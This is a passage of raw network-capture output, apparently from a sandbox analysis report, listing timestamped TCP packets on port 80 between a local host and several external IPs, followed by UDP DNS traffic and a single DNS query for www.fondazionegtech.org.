Jul 3, 2024 17:58:27.791398048 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.791436911 CEST	49758	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:27.791625977 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.793135881 CEST	49758	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:27.796015978 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.796549082 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.796571970 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.796581984 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.796608925 CEST	49758	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:27.798032045 CEST	49758	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:27.878065109 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.878109932 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.878123045 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.878348112 CEST	49758	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:27.878369093 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.878469944 CEST	49758	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:27.878530025 CEST	80	49758	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:27.878581047 CEST	49758	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:28.716633081 CEST	49758	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:29.737994909 CEST	49759	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:30.038937092 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.039015055 CEST	49759	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:30.041765928 CEST	49759	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:30.046627045 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.652384043 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.652409077 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.652420998 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.652456045 CEST	49759	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:30.652611017 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.652621984 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.652645111 CEST	49759	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:30.652955055 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.652966022 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.652977943 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.652988911 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.652993917 CEST	49759	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:30.653012991 CEST	49759	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:30.653523922 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.653556108 CEST	49759	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:30.657411098 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.657483101 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.657495022 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.657540083 CEST	49759	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:30.657696962 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.657737017 CEST	49759	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:30.745119095 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.745155096 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.745167017 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.745218992 CEST	49759	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:30.745570898 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.745609999 CEST	49759	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:30.746045113 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.746057034 CEST	80	49759	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:30.746095896 CEST	49759	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:31.544931889 CEST	49759	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:32.563862085 CEST	49760	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:32.776202917 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:32.776289940 CEST	49760	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:32.778522968 CEST	49760	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:32.783679008 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:32.783706903 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:33.498534918 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:33.498780966 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:33.498792887 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:33.498905897 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:33.498915911 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:33.498929977 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:33.498939991 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:33.498950005 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:33.499042988 CEST	49760	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:33.499043941 CEST	49760	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:33.499552011 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:33.499563932 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:33.500623941 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:33.500662088 CEST	49760	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:33.508953094 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:33.509026051 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:33.509037018 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:33.509485960 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:33.509495974 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:33.509507895 CEST	80	49760	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:33.509577990 CEST	49760	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:33.509577990 CEST	49760	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:34.294783115 CEST	49760	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:35.313996077 CEST	49761	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:36.295388937 CEST	80	49761	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:36.295473099 CEST	49761	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:36.297931910 CEST	49761	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:36.304312944 CEST	80	49761	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:36.852780104 CEST	80	49761	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:36.853066921 CEST	80	49761	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:36.856818914 CEST	49761	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:36.856818914 CEST	49761	80	192.168.2.6	144.208.124.10
Jul 3, 2024 17:58:36.863069057 CEST	80	49761	144.208.124.10	192.168.2.6
Jul 3, 2024 17:58:42.880084991 CEST	49762	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:42.885163069 CEST	80	49762	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:42.885318041 CEST	49762	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:42.887034893 CEST	49762	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:42.892333984 CEST	80	49762	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:43.897125006 CEST	80	49762	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:43.897142887 CEST	80	49762	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:43.897154093 CEST	80	49762	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:43.897214890 CEST	49762	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:43.897356033 CEST	80	49762	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:43.897388935 CEST	49762	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:44.388827085 CEST	49762	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:45.419329882 CEST	49763	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:45.424245119 CEST	80	49763	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:45.424320936 CEST	49763	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:45.426419973 CEST	49763	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:45.431451082 CEST	80	49763	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:46.255147934 CEST	80	49763	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:46.255343914 CEST	80	49763	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:46.255356073 CEST	80	49763	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:46.255382061 CEST	49763	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:46.255424976 CEST	49763	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:46.936280012 CEST	49763	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:47.999685049 CEST	49764	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:48.004611015 CEST	80	49764	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:48.004693031 CEST	49764	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:48.033787012 CEST	49764	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:48.038768053 CEST	80	49764	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:48.038786888 CEST	80	49764	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:48.802875996 CEST	80	49764	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:48.802895069 CEST	80	49764	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:48.803088903 CEST	49764	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:48.803347111 CEST	80	49764	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:48.803407907 CEST	49764	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:49.544719934 CEST	49764	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:50.564768076 CEST	49765	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:50.669425964 CEST	80	49765	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:50.669502020 CEST	49765	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:50.671372890 CEST	49765	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:50.676594973 CEST	80	49765	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:51.491303921 CEST	80	49765	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:51.491368055 CEST	80	49765	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:51.491379976 CEST	80	49765	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:51.491491079 CEST	80	49765	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:51.491684914 CEST	49765	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:51.491684914 CEST	49765	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:51.496514082 CEST	49765	80	192.168.2.6	162.43.101.114
Jul 3, 2024 17:58:51.501416922 CEST	80	49765	162.43.101.114	192.168.2.6
Jul 3, 2024 17:58:56.904232025 CEST	49766	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:58:56.909893036 CEST	80	49766	45.113.122.18	192.168.2.6
Jul 3, 2024 17:58:56.913892984 CEST	49766	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:58:56.913892984 CEST	49766	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:58:56.919050932 CEST	80	49766	45.113.122.18	192.168.2.6
Jul 3, 2024 17:58:58.419847012 CEST	49766	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:58:58.425890923 CEST	80	49766	45.113.122.18	192.168.2.6
Jul 3, 2024 17:58:58.425968885 CEST	49766	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:58:59.438263893 CEST	49767	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:58:59.965039015 CEST	80	49767	45.113.122.18	192.168.2.6
Jul 3, 2024 17:58:59.965121031 CEST	49767	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:58:59.967823982 CEST	49767	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:58:59.973546028 CEST	80	49767	45.113.122.18	192.168.2.6
Jul 3, 2024 17:59:01.483325958 CEST	49767	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:59:01.488348007 CEST	80	49767	45.113.122.18	192.168.2.6
Jul 3, 2024 17:59:01.492113113 CEST	49767	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:59:02.508970022 CEST	49769	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:59:02.516083956 CEST	80	49769	45.113.122.18	192.168.2.6
Jul 3, 2024 17:59:02.516151905 CEST	49769	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:59:02.519221067 CEST	49769	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:59:02.525757074 CEST	80	49769	45.113.122.18	192.168.2.6
Jul 3, 2024 17:59:02.527412891 CEST	80	49769	45.113.122.18	192.168.2.6
Jul 3, 2024 17:59:04.029076099 CEST	49769	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:59:04.038081884 CEST	80	49769	45.113.122.18	192.168.2.6
Jul 3, 2024 17:59:04.038129091 CEST	49769	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:59:05.065998077 CEST	49770	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:59:05.071120977 CEST	80	49770	45.113.122.18	192.168.2.6
Jul 3, 2024 17:59:05.078006029 CEST	49770	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:59:05.078006029 CEST	49770	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:59:05.082952976 CEST	80	49770	45.113.122.18	192.168.2.6
Jul 3, 2024 17:59:06.416336060 CEST	80	49770	45.113.122.18	192.168.2.6
Jul 3, 2024 17:59:06.466646910 CEST	49770	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:59:11.417226076 CEST	80	49770	45.113.122.18	192.168.2.6
Jul 3, 2024 17:59:11.418131113 CEST	49770	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:59:11.421997070 CEST	49770	80	192.168.2.6	45.113.122.18
Jul 3, 2024 17:59:11.426913977 CEST	80	49770	45.113.122.18	192.168.2.6
Jul 3, 2024 17:59:16.638803959 CEST	49771	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:16.651665926 CEST	80	49771	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:16.651829958 CEST	49771	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:16.653633118 CEST	49771	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:16.660763025 CEST	80	49771	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:17.305421114 CEST	80	49771	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:17.305635929 CEST	80	49771	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:17.306071043 CEST	49771	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:17.306725979 CEST	80	49771	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:17.310065985 CEST	49771	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:18.169732094 CEST	49771	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:19.188713074 CEST	49772	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:19.193675041 CEST	80	49772	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:19.193918943 CEST	49772	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:19.197988987 CEST	49772	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:19.203833103 CEST	80	49772	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:19.885412931 CEST	80	49772	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:19.885433912 CEST	80	49772	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:19.885447025 CEST	80	49772	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:19.885533094 CEST	49772	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:19.885587931 CEST	49772	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:20.700990915 CEST	49772	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:21.721982956 CEST	49773	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:21.726933002 CEST	80	49773	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:21.728550911 CEST	49773	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:21.734000921 CEST	49773	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:21.738989115 CEST	80	49773	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:21.739139080 CEST	80	49773	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:22.353934050 CEST	80	49773	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:22.358095884 CEST	80	49773	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:22.358115911 CEST	80	49773	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:22.358149052 CEST	49773	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:22.358195066 CEST	49773	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:23.233987093 CEST	49773	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:24.252274990 CEST	49774	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:24.257247925 CEST	80	49774	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:24.257323027 CEST	49774	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:24.259685993 CEST	49774	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:24.264568090 CEST	80	49774	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:24.911488056 CEST	80	49774	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:24.913105011 CEST	80	49774	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:24.913119078 CEST	80	49774	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:24.913232088 CEST	49774	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:24.913275957 CEST	49774	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:24.916093111 CEST	49774	80	192.168.2.6	142.250.74.211
Jul 3, 2024 17:59:24.921000004 CEST	80	49774	142.250.74.211	192.168.2.6
Jul 3, 2024 17:59:38.281486988 CEST	49775	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:38.288275003 CEST	80	49775	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:38.288347006 CEST	49775	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:38.291156054 CEST	49775	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:38.297920942 CEST	80	49775	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:38.943396091 CEST	80	49775	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:38.943422079 CEST	80	49775	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:38.944760084 CEST	49775	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:39.794687986 CEST	49775	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:40.813460112 CEST	49776	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:40.820841074 CEST	80	49776	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:40.820928097 CEST	49776	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:40.822772026 CEST	49776	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:40.829411983 CEST	80	49776	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:41.482255936 CEST	80	49776	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:41.482352018 CEST	80	49776	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:41.486171961 CEST	49776	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:42.325953960 CEST	49776	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:43.345993042 CEST	49777	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:43.356406927 CEST	80	49777	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:43.356570005 CEST	49777	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:43.359024048 CEST	49777	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:43.363940954 CEST	80	49777	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:43.363981009 CEST	80	49777	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:44.008351088 CEST	80	49777	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:44.008929014 CEST	80	49777	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:44.008994102 CEST	49777	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:44.872878075 CEST	49777	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:46.181757927 CEST	49778	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:46.186671019 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.186753035 CEST	49778	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:46.190094948 CEST	49778	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:46.194900036 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.854329109 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.854351044 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.854362011 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.854484081 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.854484081 CEST	49778	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:46.854496002 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.854540110 CEST	49778	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:46.854681969 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.854697943 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.854723930 CEST	49778	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:46.854890108 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.854912043 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.854927063 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.854928970 CEST	49778	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:46.854981899 CEST	49778	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:46.859322071 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.859390020 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.859400988 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.859431028 CEST	49778	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:46.859591961 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.859605074 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.859637976 CEST	49778	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:46.951803923 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.951843023 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.951853991 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.951900005 CEST	49778	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:46.951972008 CEST	49778	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:46.951977015 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.952023029 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.952064037 CEST	49778	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:46.952204943 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.952303886 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.952316046 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.952353954 CEST	49778	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:46.952522039 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.952563047 CEST	49778	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:46.952702999 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.952763081 CEST	80	49778	64.190.62.22	192.168.2.6
Jul 3, 2024 17:59:46.952805042 CEST	49778	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:46.957142115 CEST	49778	80	192.168.2.6	64.190.62.22
Jul 3, 2024 17:59:46.962333918 CEST	80	49778	64.190.62.22	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 17:56:34.946772099 CEST	65509	53	192.168.2.6	1.1.1.1
Jul 3, 2024 17:56:35.040492058 CEST	53	65509	1.1.1.1	192.168.2.6
Jul 3, 2024 17:56:50.814649105 CEST	64095	53	192.168.2.6	1.1.1.1
Jul 3, 2024 17:56:51.050762892 CEST	53	64095	1.1.1.1	192.168.2.6
Jul 3, 2024 17:57:04.752461910 CEST	54162	53	192.168.2.6	1.1.1.1
Jul 3, 2024 17:57:04.769181967 CEST	53	54162	1.1.1.1	192.168.2.6
Jul 3, 2024 17:57:18.157937050 CEST	51569	53	192.168.2.6	1.1.1.1
Jul 3, 2024 17:57:18.650569916 CEST	53	51569	1.1.1.1	192.168.2.6
Jul 3, 2024 17:57:31.877427101 CEST	61603	53	192.168.2.6	1.1.1.1
Jul 3, 2024 17:57:32.602283001 CEST	53	61603	1.1.1.1	192.168.2.6
Jul 3, 2024 17:57:46.158896923 CEST	63574	53	192.168.2.6	1.1.1.1
Jul 3, 2024 17:57:46.189277887 CEST	53	63574	1.1.1.1	192.168.2.6
Jul 3, 2024 17:57:59.440041065 CEST	54900	53	192.168.2.6	1.1.1.1
Jul 3, 2024 17:57:59.456058979 CEST	53	54900	1.1.1.1	192.168.2.6
Jul 3, 2024 17:58:13.018013000 CEST	62384	53	192.168.2.6	1.1.1.1
Jul 3, 2024 17:58:13.061901093 CEST	53	62384	1.1.1.1	192.168.2.6
Jul 3, 2024 17:58:26.508449078 CEST	58103	53	192.168.2.6	1.1.1.1
Jul 3, 2024 17:58:27.186599016 CEST	53	58103	1.1.1.1	192.168.2.6
Jul 3, 2024 17:58:41.862185955 CEST	64966	53	192.168.2.6	1.1.1.1
Jul 3, 2024 17:58:42.874016047 CEST	64966	53	192.168.2.6	1.1.1.1
Jul 3, 2024 17:58:42.876082897 CEST	53	64966	1.1.1.1	192.168.2.6
Jul 3, 2024 17:58:42.880778074 CEST	53	64966	1.1.1.1	192.168.2.6
Jul 3, 2024 17:58:56.504539967 CEST	64908	53	192.168.2.6	1.1.1.1
Jul 3, 2024 17:58:56.899667025 CEST	53	64908	1.1.1.1	192.168.2.6
Jul 3, 2024 17:59:16.424881935 CEST	59494	53	192.168.2.6	1.1.1.1
Jul 3, 2024 17:59:16.636112928 CEST	53	59494	1.1.1.1	192.168.2.6
Jul 3, 2024 17:59:29.923494101 CEST	59734	53	192.168.2.6	1.1.1.1
Jul 3, 2024 17:59:30.187005997 CEST	53	59734	1.1.1.1	192.168.2.6
Jul 3, 2024 17:59:38.252311945 CEST	60301	53	192.168.2.6	1.1.1.1
Jul 3, 2024 17:59:38.278227091 CEST	53	60301	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 3, 2024 17:56:34.946772099 CEST	192.168.2.6	1.1.1.1	0x8a30	Standard query (0)	www.fondazionegtech.org	A (IP address)	IN (0x0001)	false
